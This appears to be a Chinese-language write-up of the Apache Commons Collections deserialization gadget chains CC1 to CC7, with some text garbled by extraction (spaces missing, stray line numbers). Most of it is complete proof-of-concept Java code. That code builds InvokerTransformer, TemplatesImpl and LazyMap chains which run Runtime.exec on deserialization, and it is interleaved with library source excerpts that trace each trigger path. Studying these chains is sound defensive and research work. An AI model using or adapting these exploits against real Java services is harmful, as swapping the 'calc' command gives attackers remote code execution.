public class ComCol1 { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc",}), }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null); }
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc",}), }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null); }
publicclassComCol2{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})});
TransformingComparator comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(1);
queue.add(1); queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue,comparator);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2")); outputStream.writeObject(queue); outputStream.close();
public class ComCol2 { public static void main(String[] args) throws Exception { Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); constructor.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer"); TransformingComparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2); // javassist ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Demo"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法需要的条件 setFieldValue(templates, "_name", "name"); setFieldValue(templates, "_class", null); Object[] queue_array = new Object[]{templates, 1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue, queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue, 2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue, comparator);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(queue); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); }
try { finalint classCount = _bytecodes.length; _class = new Class[classCount];
if (classCount > 1) { _auxClasses = new HashMap<>(); }
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();
// Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
publicTransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated){ this.decorated = decorated; this.transformer = transformer; }
publicintcompare(I obj1, I obj2){ O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); returnthis.decorated.compare(value1, value2); }
privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
// Read in (and discard) array length s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object[size];
// Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
PriorityQueue#heapify 里调用了 siftDown ,但是这里有个条件就是要满足 int i = (size >>> 1) - 1; i >= 0,size至少为2
1 2 3 4
privatevoidheapify(){ for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
看一下 PriorityQueue#siftDown
1 2 3 4 5
if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
随后用到PriorityQueue#siftDownUsingComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
privatevoidsiftDownUsingComparator(int k, E x){ int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(handler); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); }
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
public Object transform(Object input){ try { if (!(input instanceof Class)) { thrownew FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } }
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) });
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
publicclassComCol5{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("calc")})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, fakeChain); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); BadAttributeValueExpException finaldemo = new BadAttributeValueExpException("random"); Field valDemo = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); valDemo.setAccessible(true); valDemo.set(finaldemo, rceDemo);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(finaldemo); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
在cc5中用到的是TiedMapEntry中的toString方法:
1 2 3
public String toString(){ returnthis.getKey() + "=" + this.getValue(); }
跟进getValue方法:
1 2 3
public V getValue(){ returnthis.map.get(this.key); }
publicclassComCol6{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException , InstantiationException, IOException, NoSuchFieldException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("calc")})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, fakeChain); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject();
…… // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
publicclassComCol4{ publicstaticvoidmain(String[] args)throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
// ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
// 本地测试触发 System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
privatevoidreadObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { …… // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
publicclassComCol7{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("calc")}), new ConstantTransformer(1)}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, fakeChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, fakeChain); lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
lazyMap2.remove("yy");
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(hashtable); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
publicbooleanequals(Object o){ if (o == this) returntrue;
if (!(o instanceof Map)) returnfalse; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) returnfalse;
try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) returnfalse; } else { if (!value.equals(m.get(key))) returnfalse;
privatevoidreconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { thrownew java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { thrownew java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
privatevoidreadObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { …… // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // sync is eliminated for performance reconstitutionPut(table, key, value); } }
synchronized (this) { // Write out the threshold and loadFactor s.defaultWriteObject();
// Write out the length and count of elements s.writeInt(table.length); s.writeInt(count);
// Stack copies of the entries in the table for (int index = 0; index < table.length; index++) { Entry<?,?> entry = table[index];
while (entry != null) { entryStack = new Entry<>(0, entry.key, entry.value, entryStack); entry = entry.next; } } }
// Write out the key/value objects from the stacked entries while (entryStack != null) { s.writeObject(entryStack.key); s.writeObject(entryStack.value); entryStack = entryStack.next; } }
评论